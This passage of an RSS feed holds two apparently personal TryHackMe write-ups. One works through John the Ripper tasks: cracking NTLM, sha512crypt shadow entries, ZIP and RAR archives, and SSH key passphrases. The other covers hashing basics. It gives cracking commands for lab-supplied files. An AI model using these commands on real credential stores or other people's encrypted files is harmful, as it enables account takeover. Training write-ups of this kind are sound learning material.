src="https://cdn-images-1.medium.com/max/1024/1*6Bxs7l6YRnaK1JVlnz8YXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QA_PfdGxRxyMIJFi-QW5Kg.png" /></figure><p>I saw that SHA-512 was first and proceeded to run the following command on hash4.txt below to see if SHA-512 was the possible hash by using the format Raw-SHA512</p><p>john --format=Raw-SHA512 --wordlist=/usr/share/wordlists/rockyou.txt hash4.txt</p><p>I didn’t have any luck with cracking it with the format Raw-SHA512 so I proceeded to attempt to use try to use crack the hash with the whirlpool format</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1sUl5B1HAPUln8ei5YGeGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B6loZb_Gog0jJ2HItzw7VQ.png" /></figure><p><strong>What is the cracked value of hash4.txt</strong></p><p>I got back a lot of formats pertaining to whirlwind and learned that whirlpool0 is the first version of the whirlpool hash function and tc prefixes refer to the software system <a href="https://www.truecrypt71a.com/documentation/">TrueCrypt</a>.</p><p>I proceeded to try running the hash value against the rockyou.txt wordlist using the format whirlpool to see if it is the type of hash function used.</p><p>john --format=whirlpool --wordlist=/usr/share/wordlists/rockyou.txt hash4.txt</p><p>After running this command, I was able to crack the hash and get a password returned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M-fem0R4pPWLLT6wsRB7Fw.png" /></figure><h3>Task 5: Cracking Windows Authentication Hashes</h3><p>This task gives an overview on authentication hashes stored on operating systems such as Windows OS and ways to crack these hashes using brute-force methods.</p><p>We are given text file that contains a authentication hash that will needed to be cracked.</p><p>What do we need to set the “format” flag to, in order to crack this?</p><blockquote>NT</blockquote><p>Knowing that the hash provided in the task file is NTLM, I used the following command to see if I can find any patterns that is a match for NTLM.</p><p>john --list=formats | grep -iF &quot;NT&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Bx-5m737BmAY0jrOV1c2g.png" /></figure><p><strong>What is the cracked value of this password?</strong></p><p>I proceeded to use the following command with the format I found in the previous to crack the hash on this password in the ntlm.txt file I downloaded.</p><p>I was able to get the cracked value password in the output with the following command.</p><p>john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt ntlm.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0YH1UEz3NRD8foUe5b0W7A.png" /></figure><h3>Task 6: Cracking /etc/shadow Hashes</h3><p>This task gives an overview on the characteristics of the /etc/shadow file on Linux machines and systems</p><p>The file stores several types of information and entries for each user or service account on a Linux system. It requires sufficient privileges to access and view the information.</p><p>There is a command or tool built into John the Ripper called <strong><em>unshadow </em></strong>used for the John tool where the /etc/shadow file passwords need to be combined with the /etc/passwd file to be able to understand the data given so it can look for a user and a password hash.</p><p>For the hands on practical section, we are given a task file called etchashes.txt with a password hash of the root user we must attempt to crack.</p><p><strong>Basic syntax of unshadow command:</strong></p><p>unshadow [path to passwd file] [path to shadow file]</p><ul><li>unshadow — invokes the unshadow tool</li><li>[path to passwd file] — The file that contains the copy of the /etc/passwd file taken or data exfiltrated from a victim or target machine</li><li>[path to shadow file] — The file that contains the copy of the /etc/shadow file taken or data exfiltrated from a victim or target machine</li></ul><h3><strong>Task 6 Question and Answer</strong></h3><p><strong>What is the root password?</strong></p><p>To answer this question, I started looking through the etchashes.txt file provided. We are given a /etc/passwd line and /etc/shadow line for the root user. The /etc/shadow line contains a password hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nvxzTUu9q_owkO9Kwh2pfQ.png" /></figure><p>I started looking at the password hash to see if Ican recognize it based on appearance. I found it had a hash prefix of $6$ at the beginning of the value. This told me that the hashing algorithm used was <strong><em>sha512crypt </em></strong>(a default hash algorithm for most Unix/Linux systems).</p><p>I investigated the etchashes.txt file to check the line numbers to be able to extract the specific lines to make the files I will create and use in the unshadow command to crack the password hash.</p><p>I found a resource below that showed how to do this in Linux. I would use the sed command to print a specific line in the as part of my step-by-step process of using the data to crack the etc/shadow password hash of the root user.</p><p><a href="https://linuxhandbook.com/display-specific-lines/">How to Display Specific Lines From a File in Linux [3 Ways] (linuxhandbook.com)</a></p><p><a href="https://www.baeldung.com/linux/grep-sed-awk-differences#sed">Difference Between grep, sed, and awk | Baeldung on Linux</a></p><p><strong>Steps</strong></p><ul><li>Removed the two empty lines at the end of the file for accuracy of using the line display commands with the nano editor.</li><li>Ran the command sed -n &#39;3p&#39; etchashes.txt &gt; victim_local_passwd.txt to extract /etc/passwd line for the root user and store the output in a newly created victim_local_passwd.txt file on my local Kali command line.</li><li>Ran the command sed -n &#39;4p&#39; etchashes.txt &gt; victim_local_shadow.txt to extract /etc/shadow line for the root user and store the output in a newly created victim_local_shadow.txt file on my local Kali command line.</li><li>Use the unshadow command on both passwd and shadow file and direct the output into a unshadowed text file unshadow victim_local_passwd victim_local_shadow &gt; unshadowed.txt to use the output for the John tool password cracking command.</li><li>Feed the output in the unshadowed.txt file into the John tool with the following command to attempt crack the hash with the hash format sha512crypt against the rockyou.txt word listjohn --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt unshadowed.txt</li></ul><p>After following all these I was able to get the password for root and complete.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W66v29Gjl2mdSRyWB6Y86g.png" /></figure><h3>Task 7: Single Crack Mode</h3><p>In Single Crack mode, JtR will attempt to crack the password based on the username provided to try to guess possible password combinations by changing numbers and letters contained within the username and attempting to see if any of the password combinations are a match. This is known as word mangling where John will create a wordlist of possible passwords based on what the username is to be compared against in the password cracking processing.</p><p>If a username for example is <strong>Chris</strong>, examples of possible password combinations would be:</p><p><em>Chris1, Chris2, Chris3…</em></p><p><em>ChrIs, cHRiS…</em></p><p><em>Chris!, Chris$…</em></p><p>The syntax to use for Single Crack Mode is as follows:</p><p>john --single --format=[format] [path to file]</p><p>--single is the flag or option that tells JtR to use single hash cracking mode</p><p>we need to change the content in the text file to understand what data to create a wordlist from so it looks like the following format (username: password hash) for example:</p><p>Chris:1efee03cdcb96d90ad48ccc7b8666033</p><h3>Task 7 Question and Answer</h3><p><strong>What is Joker’s password?</strong></p><p>I downloaded the hash7.txt task file attached to this task and checked the content of the text file for Joker’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEWPSaDzEzGnCOfb8I-2Lw.png" /></figure><p>The file contains only a password hash, so I proceeded to use the nano editor to prepend the hash with the username belongs to followed by a colon symbol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*suWZI0r9aEKWcGNB3UV3lQ.png" /></figure><p>Once I saved the file with the changes, I ran the hash identification script tool (hash-id.py) by Zion3R to see what hash format to try in the password cracking process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P6hEdF40k2bB78KXzthtvg.png" /></figure><p>I used the following command to search for formats that related to the possible MD-5 hash identified with the python script.</p><p>john --list=formats | grep -iF &quot;md5&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kXyJgTpfBW79aXccBAHuVw.png" /></figure><p>I proceeded to save the changes and run the following command to use single crack mode on the password hash for the username Joker</p><p>john --single --format=raw-md5 ~/downloads/hash7.txt</p><p>I was able to get the password as shown in the screenshot needed to answer the question on what Joker’s password is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JYa1rQ_uCkxQd5TmkS5m-A.png" /></figure><h3>Task 8: Custom Rules</h3><p>This task looks at a concept known as Custom Rules where you can define specific rules for JtR to use for creating passwords to test against. It is ideal that the password complexity requirements on a target are known to use custom rules with JtR.</p><h3><strong>Task 8 Questions and Answers</strong></h3><p>I proceeded to answer the questions for this task, all the questions are self-explanatory and can be solved by reading the task content and understanding the examples given.</p><p><strong>What do custom rules allow us to exploit?</strong></p><blockquote>Password Complexity Predictability</blockquote><p><strong>What rule would we use to add all capital letters to the end of the word?</strong></p><blockquote>Az”[A-Z]”</blockquote><ul><li>Az — Takes a word and adds to the end of the word all the characters we defined in the double quotes of the regex pattern.</li><li>&quot;[A-Z]&quot; — the character set that specifies to include only Uppercase letters</li></ul><p><strong>What flag would we use to call a custom rule called “THMRules”</strong></p><blockquote>--rule=THMRules</blockquote><h3>Task 9: Cracking Password Protected Zip Files</h3><p>John can also be used to crack the password on password protected Zip files using the zip2john tool in the form of a command that is part of the JtR suite of tools.</p><p>The basic command syntax to convert the password locked zip file into a hash format John can understand and attempt is as follows:</p><p>zip2john [options] [zip file] &gt; [output file]</p><p>zip2john— Invokes the zip2john tool</p><p>[options]— to pass specific checksum options to zip2john, is optional and not needed</p><p>[zip file] — The path to the password-protected hash zip file to get the hash value to try to crack the target zip file.</p><p>&gt; — This is the output director symbol which is used to send the output from the [zip file] we provided to a destination file.</p><p>[output file] — The destination file (a text file) that will store the output from the [zip file].</p><p>We would then take the [output file] created and placed the output from the zip2john and feed it directly into a following john command to do a password crack using wordlist mode as shown below</p><p>john --wordlist=/usr/share/wordlists/rockyou.txt [output file]</p><h3>Task 9 Questions and Answers</h3><p>The next couple of questions involves interacting with a downloaded zip file titled secure.zip downloaded from the TryHackMe task to solve and uncover the content of. When I try to open the flag.txt file, I was prompted for a password to enter to be able to open the file.</p><p><strong>What is the password for the secure.zip file?</strong></p><p>To figure out the password, I did the following steps in order ran the following commands</p><p><strong>Step 1. Zip file hash output conversion</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*36PCBBdU1yFnWWHK9dOMuw.png" /></figure><p>zip2john ~/downloads/secure.zip &gt; zip_hash.txt</p><p><strong>Step 2. Password crack the zip file hash value</strong></p><p>Once we ran the command to convert the zip file into a hash format, I proceeded to attempt to pass the hash output file into John with the following command:</p><p>john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt</p><p>once I ran the command above, I was able to get successfully crack the password needed and answer this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Ea--rq6o1DXz1mC7YFYUg.png" /></figure><p><strong>What is the contents of the flag inside the zip file?</strong></p><p>I proceeded to open compressed file and go to the flag.txt to where I got to password prompt and entered the revealed password I got from John the Ripper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VtJw5SG3wN4WybBGryyu5A.png" /></figure><p>After I entered the password successfully, I was able to get the flag needed to answer this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AwaZD0roAioU_YW93EyJWg.png" /></figure><h3>Task 10: Cracking Password Protected RAR Archives</h3><p>Like the previous task, this task focuses on how John can crack password-protected RAR files using the rar2john tool in the form of a command that is part of the JtR suite of tools.</p><p>The basic command syntax to convert the password locked zip file into a hash format John can understand and attempt is as follows:</p><p>rar2john [options] [rar file] &gt; [output file]</p><p>rar2john — Invokes the rar2john tool</p><p>[rar file] — The path to the password-protected hash rar file to get the hash value to try to crack the target rar file.</p><p>&gt; — This is the output director symbol which is used to send the output from the [rar file] we provided to a destination file.</p><p>[output file] — The destination file (basically a text file)that will store the output from the [zip file] .</p><p>take the [output file] created and placed the output from the rar2john and feed it directly into a following john command to do a password crack using wordlist mode as shown below</p><p>john --wordlist=/usr/share/wordlists/rockyou.txt [output file]</p><h3>Task 10 Questions and Answers</h3><p>The next couple of questions involves interacting with a downloaded RAR file titled secure.rar downloaded from the TryHackMe task to solve. When I try to open the flag.txt file, I was prompted for a password to enter to be able to open the file.</p><p>To uncompress or attempt to view content of the RAR file on Windows, I used the file compression software <a href="https://7-zip.org/download.html">7-Zip</a> for this purpose. Other choices can be used to extract file archives can be found in the following link below:</p><p><a href="https://www.techradar.com/news/the-best-file-compression-software">Best file compression software in 2023 | TechRadar</a></p><p><strong>What is the password for the secure.rar file?</strong></p><p><strong>Step 1. RAR file hash output conversion</strong></p><p>Run the following rar2john command to create a hash output file rar_hash.txt to pass into the John tool.</p><p>rar2john ~/downloads/secure.rar &gt; rar_hash.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rMle1FBt1fN2lNe3BwOyig.png" /></figure><p><strong>Step 2. Password crack the RAR file hash value</strong></p><p>Once we ran the command to convert the zip file into a hash format, I proceeded to attempt to pass the hash output file into John with the following command:</p><p>john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txt</p><p>Once I ran the command above, I was able to get successfully crack the password needed and answer this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DUT1rALoHtVnQlP4CwQIIQ.png" /></figure><p><strong>What is the contents of the flag inside the zip file?</strong></p><p>Using 7-Zip to extract the RAR content and the cracked password, I was able to obtain the flag needed to complete this question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSuwQIoncUo1DFoDJvrqtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9tQgJLgHAHBtyb8FeuRkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wyyo5K_Ti1wdSM9eaPVDkg.png" /></figure><h3>Task 11: Cracking SSH Keys with John</h3><p>Task 11 covers how to use John to crack the SSH private key password of id_rsa files.</p><p>The steps to how John can crack SSH Key passwords is as follows:</p><ol><li>Convert the SSH private key into a crackable hash using the ssh2john tool or Python script ssh2john.py.</li><li>Crack the hash of the private key (id_rsa.hash) to determine its passphrase using John the Ripper.</li><li>Use the passphrase to authenticate over SSH using the key.</li></ol><p>The conversion command to convert the id_rsa private key to login to a SSH session into a hash format the john tool can use.</p><p>ssh2john [id_rsa private key file] &gt; [output file]</p><p>ssh2john — Invokes the ssh2john tool or python script</p><p>[id_rsa private key file] - The path to the id_rsa file you wish to get the hash of</p><p>&gt; - This is the output director, we&#39;re using this to send the output from a command to a destination file which in our case is an output file.</p><p>[output file] - This is the file that will store the output of ssh2john [id_rsa private key file]</p><h3><strong>Task 11 Question and Answer</strong></h3><p>I proceeded to download the hash of the id_rsa file in the idrsa.id_rsa file that is attached to this task.</p><p><strong>What is the SSH private key password?</strong></p><p><strong>Step 1. id_rsa private key file hash conversion</strong></p><p>I used the following command to convert the RSA private key file and put the converted output into a output file known as id_rsa_hash.txt to feed into the john tool.</p><p>ssh2john idrsa.id_rsa &gt; id_rsa_hash.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CRrUtX9YDERGaEidW57KkA.png" /></figure><p><strong>Step 2. Password Crack the RSA private key hash</strong></p><p>john is then used to password crack the hash format we feed into the tool and get the password with the following command:</p><p>john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x6HzqH7yIhaczhIu-Dqvmw.png" /></figure><p>I was able to get the SSH private key password to answer the question and complete this task.</p><p>This wraps up all the hands on questions for this TryHackMe room, if you have any constructive feedback or inquiries feel free to reach out to me on LinkedIn.</p><p>Happy learning and thank you for reading,</p><p>-Chris Fouad J.</p><h3>References</h3><p>More information and steps on how to setup up Kali Linux with WSL on Windows or other methods can be found in this link on the Kali Linux documentation: <a href="https://www.kali.org/get-kali/#kali-wsl">Get Kali | Kali Linux</a></p><p><a href="https://www.sitepoint.com/wsl2/">WSL2: The Complete Guide for Windows 10 &amp; 11 — SitePoint</a></p><p><a href="https://learn.microsoft.com/en-us/windows/terminal/">An overview on Windows Terminal | Microsoft Learn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fbdb78c60f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hashing — Crypto 101 TryHackMe Writeup]]></title>
            <link>https://medium.com/@cyberjab/hashing-crypto-101-tryhackme-writeup-54cca037eccc?source=rss-c19a6e69c664------2</link>
            <guid isPermaLink="false">https://medium.com/p/54cca037eccc</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[hashing-algorithm]]></category>
            <dc:creator><![CDATA[Christopher Fouad Jabbour]]></dc:creator>
            <pubDate>Mon, 24 Apr 2023 17:12:00 GMT</pubDate>
            <atom:updated>2023-04-24T17:12:00.791Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Hashing — Crypto 101 TryHackMe Writeup</strong></h3><p>My initial writeup on the Hashing — Crypto 101 room on the THM Cybersecurity training platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rIB19v7nj0vr00QgD_bVrg.jpeg" /></figure><p>This room is for THM subscribers only and can be accessed by the following <a href="https://tryhackme.com/room/hashingcrypto101">link</a>. passwords and hash values are censored to abide by the TryHackMe rules of not providing flags, hashes or passwords in a write-up but how I solved them to get the answer.</p><h3>Task 1: Key Terms</h3><p>Key terms and concepts are laid out in this task. I proceeded to read and understand the key terms along with answering the question for this task.</p><p><strong>Brute Force </strong>— A type of password attack where every letter, character and symbol combination are tried to see if any of the combinations match against a password in a stolen password file. It is trying every different password (hence a brute force approach of multiple tries) to see which password matches a known user account.</p><p><strong>Cryptanalysis </strong>— The process and detective work of finding vulnerabilities within cryptographic algorithms based on the underlying mathematical implementation and mechanism used in the algorithms.</p><p><strong>Encoding </strong>— The process of changing the way data is represented from one format to another. In simple terms, how data is represented and shown electronically.</p><ul><li>Examples of encoding include character encoding like base64 or a number-based format such as binary or hexadecimal.</li><li>It is not to be confused as a form of encryption</li><li>It can be immediately reversed</li></ul><p><strong>Encryption </strong>— The process of hiding plaintext data by transforming how the data is shown by using a special formula and encryption key.</p><p><strong>Decryption </strong>— The process of converting encrypted data back to its original plaintext form.</p><p><strong>Hash- </strong>Two meanings, can be used as either a noun or a verb.</p><ul><li>Verb — When input data is passed into a hash function, the function creates a unique digital fingerprint or message digest of the input.</li><li>Noun — The output of a hash function</li></ul><p><strong>Plaintext </strong>— A term used for any type of data or information that is readable that is to either be encrypted or decrypted if already encrypted (revealing the data in readable form) by a cryptographic algorithm.</p><h3>Task 1 Question and Answer</h3><p><strong>Read the words, and understand the meanings!<br>Is base64 encryption or encoding?</strong></p><blockquote>encoding</blockquote><h3>Task 2: What is a hash function?</h3><p>This task gives a brief overview of what a hash function is. It gives an example of why hashing is important in the context of passwords. It also covers a critical issue and weakness of hashing functions called a hash collision.</p><p><strong>Characteristics of a hash function</strong></p><ul><li>It is hard to predict what the output will be for any input and vice versa.</li><li>Really good hashing algorithms are fast to compute and slow to reverse to determine what the original input of the output hash value was.</li><li>One application of hash functions is for the use of data integrity to make sure data has not been tampered with.</li></ul><p><strong>Hash Collision </strong>— A situation where two different inputs passed into a hash function both have the same output hash. Hash functions are designed to attempt to avoid hash collisions from happening but is unavoidable. The reason is due to a limitation in the mathematical implementation of hashing that is explained by the <strong>pigeonhole </strong>principle or effect.</p><p>The inputs we pass into the hash functions are like pigeons and the output hashes are the holes where we store pigeons. We can only have so many inputs with different outputs that will eventually be matched to one another. In this case, inputs or our pigeons may have the same output or hole to be placed in.</p><h3>Task 2 Questions and Answers</h3><p><strong>What is the output size in bytes of the MD5 hash function?</strong></p><blockquote>16</blockquote><p>Found doing a search engine web search</p><p><strong>Can you avoid hash collisions? (Yea/Nay)</strong></p><blockquote>Nay</blockquote><p>Due to a weakness of math used in the hash function.</p><p><strong>Question #3: If you have an 8 bit hash output, how many possible hashes are there?</strong></p><blockquote>256</blockquote><p>This is solved using 2^8 = 256</p><p>based using on the permutation&#39;s formula n^r</p><p>n is the number of items to choose from, in our case, it is 1 or 0.</p><p>r is how many items to choose from where order matters and repetition of the same bits is important.</p><h3>Task 3: Uses for hashing</h3><ol><li><strong>Password verification</strong></li></ol><ul><li>Hashing is used as an alternative to encryption in the method of storing and protecting passwords in an application.</li><li>With the use of password verification, there is the issue of rainbow tables being used to figure out hashes to protect against these attacks and using salts to mitigate rainbow table attacks.</li></ul><p>2. <strong>Data Integrity Verification</strong></p><p>— Mentioned but covered more in the last task of the TryHackMe room</p><h3><strong>Protecting against rainbow table attacks</strong></h3><p>Hashes have a scenario in that two users can or may have the same password, meaning they have the same hash stored as their password.</p><p>The problem with this is if someone cracks that hash that two or more users have, they can get into more then one account. This leads to the hash be used to crack a common password to be added to something called a <strong>rainbow table</strong>.</p><p>A <strong>rainbow table</strong> is a lookup table of hash values paired to plaintext passwords. It lets the attacker or password cracking process find out what password a user has by cross referencing for a matching hash value.</p><p>To counteract against rainbow tables, a process known as the <strong>salting </strong>is used. Salting is adding random data to either the beginning or end of the password before hashing so that when same passwords are used, they will each have different hashes. rainbow tables will only be able to crack that haven been created with salts.</p><h3>Task 3 questions and answers</h3><p><strong>Crack the hash “d0199f51d2728db6011945145a1b607a” using the rainbow table manually.</strong></p><p>This question is asking to take the provided hash and compare it to the example rainbow table provided below. To solve this, I copied the hash, <em>d0199f51d2728db6011945145a1b607a</em><strong>, </strong>and entered ctrl + f on my browser to paste the hash and search by it to find the hash’s matching password.</p><p>I used the following hash identifier tool linked <a href="https://hashes.com/en/tools/hash_identifier">here</a> to determine that one possible hashing algorithm used on the hash and password pair is MD5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cm8MN9IQKhqFapAfuKcGfQ.png" /></figure><p><strong>Crack the hash “5b31f93c09ad1d065c0491b764d04933” using online tools</strong></p><p>I copied the hash and proceeded to go to the site crackstation.net to attempt to crack the hash and get the password, I didn&#39;t have any luck on my side and proceeded to look for another tool to try.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VCOB7TITusXcmQkLQzJzOA.png" /></figure><p>I proceeded to the online tool, <a href="https://hashes.com/en/decrypt/hash">hashes.com</a>, to crack the hash and search for a match to get the password for this answer. I got back a match and readable password to solve and complete this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i9jvKNl1LT-mThKY2s8zmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EAV7CKr4EdEE1gvHz3a4A.png" /></figure><p>As the previous hash, this hash type is possibly created using the MD5 hashing algorithm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gnXhvAQ1woXhFTk-N4nGiA.png" /></figure><p><strong>Should you encrypt passwords? Yea/Nay</strong></p><blockquote>Nay</blockquote><p>The reason passwords shouldn’t be encrypted is because of the following risk: each time you encrypt a password, the key to encrypt must be stored along with the passwords. If someone gets access to the key, they will be able to decrypt passwords. This is where hashing comes in, the hash value of the password is stored and not the password. This adds defense in requiring attackers to do extra work to crack the password hash to get the password.</p><h3>Task 4: Recognizing password hashes</h3><p>In Task 4, the concept of recognizing password hashes is covered here. I cover some onf the</p><p><strong>Non-OS specific</strong></p><p>Automated hash recognition tools exist, but are not reliable for a lot of hashing algorithm formats.</p><p><strong>Linux/Unix</strong></p><ul><li>Unix style passwords have a prefix that tells you the hashing algorithm used.</li><li>Usually in Linux, password hashes are stored in the /etc/shadow file</li></ul><p><strong>Windows</strong></p><ul><li>Passwords are known to be hashed using NTLM, a hashing algorithm that looks identical to MD4 and MD5 hashes.</li><li>Password hashes are stored in the Security Accounts Manager or <strong>SAM </strong>database file.</li></ul><h3>Task 4 questions and answers</h3><p><strong>How many rounds does sha512crypt ($6$) use by default?</strong></p><blockquote>5000</blockquote><p>To answer this question, I did some external research by searching to get the default number of rounds or iterations the sha512crpyt hashing algorithm uses. What rounds in simple terms is the number of times the password is hashed to make it more secure and more difficult or longer for brute-force attacks to crack. The more rounds that are used, the more secure the hash.</p><p>Sources referred:</p><p><a href="https://wiki.archlinux.org/title/SHA_password_hashes">SHA password hashes — ArchWiki (archlinux.org)</a></p><p><a href="https://security.stackexchange.com/questions/204813/what-are-sha-rounds">passwords — What are SHA-rounds? — Information Security Stack Exchange</a></p><p><strong>What’s the hashcat example hash (from the website) for Citrix Netscaler hashes?</strong></p><p>The hashcat hash example for the Citrix Netscaler hash type can be found in the following <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">link</a> by text searching the hash type name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*jsKEZA_2_H_vYpyIf6mu-Q.png" /></figure><p><strong>How long is a Windows NTLM hash, in characters?</strong></p><p><strong>32</strong></p><p>I figured this out by doing a search engine search. I also found an example Windows NTLM hash within the <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">link</a>. You could count each character manually or use a tool like <a href="https://charactercounter.com/">charactercounter.com</a> that counts the characters in your input to determine how long the hash is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*-XkPVZ7tPHZXny4R56oUZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*lpbuBQnscQ24Bc__UzG7FA.png" /></figure><h3><strong>Task 5: Password Cracking</strong></h3><p>This task covers password cracking as a way of figuring out or uncovering what the original value of a hashed password is. This task introduces us to password cracking tools and some popular examples of these tools such as Hashcat and John the Ripper.</p><p>The following questions to this task are free form in that any online tools and software utilities such as Hashcat or John the Ripper can be used. For this write-up, I have focused on using the Hashes online tool.</p><p><strong>Task 5 Questions and Answers</strong></p><p><strong>Crack this hash: $2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG</strong></p><p><strong><em>Online tool approach</em></strong></p><p>I first used an online hash recognition tool called Hashes (link provided <a href="https://hashes.com/en/tools/hash_identifier">here</a>) to narrow down the possible hash algorithms used for the provided hash. I would enter the hash value I copied and click the include all possibilities option and then click the <strong>Submit &amp; Identify</strong> button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*cxU_E59YOcLTrl96pC54lA.png" /></figure><p>Once I submitted, I got a possible identification match. I proceeded to try the password to see if it is the correct one and was able to complete the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBdKEe8XuCYeoUHg_0XAbw.png" /></figure><p>The above screenshot told me that the possible algorithms were bcrypt $2*$, Blowfish (Unix)</p><p><strong>Crack this hash: 9eb7ee7f551d2f0ac684981bd1f1e2fa4a37590199636753efe614d4db30e8e1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RU4QLb-XBrM-r-c6wYskHg.png" /></figure><p><strong>Crack this hash: $6$GQXVvW4EuM$ehD6jWiMsfNorxy5SINsgdlxmAEl3.yif0/c3NqzGLa0P.S7KRDYjycw5bnYkF5ZtB8wQy8KnskuWQS3Yr1wQ0</strong></p><p>Based on what I learned, the prefix $6$ tells me that the hashing algorithm is going to be sha512crypt, the default hash algorithm for most Linux/Unix based systems.</p><p>I used the online tool I used in the previous question to get the password for this hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yzGgBQmnnEyAtXBd_YgQ_Q.png" /></figure><p><strong>Bored of this yet? Crack this hash: b6b0d451bbf6fed658659a9e7e5598fe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*loS2rqPTRJGGrjjRrWDmTA.png" /></figure><h3><strong>Task 6: Hashing for integrity checking</strong></h3><p>This task covers the second use case of hashing, integrity checking.</p><p><strong>Key Terms</strong></p><p><strong>Integrity Checking</strong> — The process of verifying that data has not been altered or tampered (the criteria or secret sauce for integrity) during the transmission or storage of the specific data.</p><p><strong>HMACs or Hashing for Message Authentication</strong>— They are one viable way of doing integrity checking of data transmitted over an insecure channel of communication. It is type of message authentication code (MAC) that involves a cryptographic hash function and using a secret to produce a hash.</p><ul><li>Ensures that the person who created the HMAC is who they say they are (authenticity)</li></ul><p><strong>Task 6 Questions and Answers</strong></p><p><strong>What’s the SHA1 sum for the amd64 Kali 2019.4 ISO? </strong><a href="http://old.kali.org/kali-images/kali-2019.4/"><strong>http://old.kali.org/kali-images/kali-2019.4/</strong></a></p><p>I navigated to the link provided on this question and downloaded the SHA1SUMS file to figure this out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*PapmEe3O55DuRFwvJfl6XQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a027mkqAuml4xN9OWi9IGQ.png" /></figure><p><strong>What’s the hashcat mode number for HMAC-SHA512 (key = $pass)?</strong></p><blockquote>1750</blockquote><p>I figured this out by running the -help switch in my command line.</p><p>I looked and navigated to the <strong>Hash modes </strong>section of the output and searched the list</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*nyuT_gA-oJLMdshjwBi7Aw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*3KqXLbh4R3B8MBFYr-s_ew.png" /></figure><p>With these steps, I was able to find the hashcat tool mode number to answer this question.</p><h3>References</h3><p><a href="https://tryhackme.com/room/hashingcrypto101">TryHackMe | Hashing — Crypto 101</a></p><p><a href="https://builtin.com/cybersecurity/cryptanalysis">What Is Cryptanalysis? (Definition, Types, Goals) | Built In</a></p><p><a href="https://simplicable.com/IT/plaintext-vs-cleartext">Plaintext vs Cleartext — Simplicable</a></p><p><a href="https://www.mscs.dal.ca/~selinger/md5collision/">https://www.mscs.dal.ca/~selinger/md5collision/</a></p><p><a href="https://shattered.io/">SHAttered</a></p><p><a href="http://www.unixwiz.net/techtips/iguide-crypto-hashes.html">An Illustrated Guide to Cryptographic Hashes (unixwiz.net)</a></p><p><a href="https://www.cryptomathic.com/news-events/blog/differences-between-hash-functions-symmetric-asymmetric-algorithms">Differences between Hash functions, Symmetric &amp; Asymmetric Algorithms (cryptomathic.com)</a></p><p><a href="https://www.techtarget.com/searchenterprisedesktop/definition/Security-Accounts-Manager">What is the Windows Security Accounts Manager (SAM)? (techtarget.com)</a></p><p><a 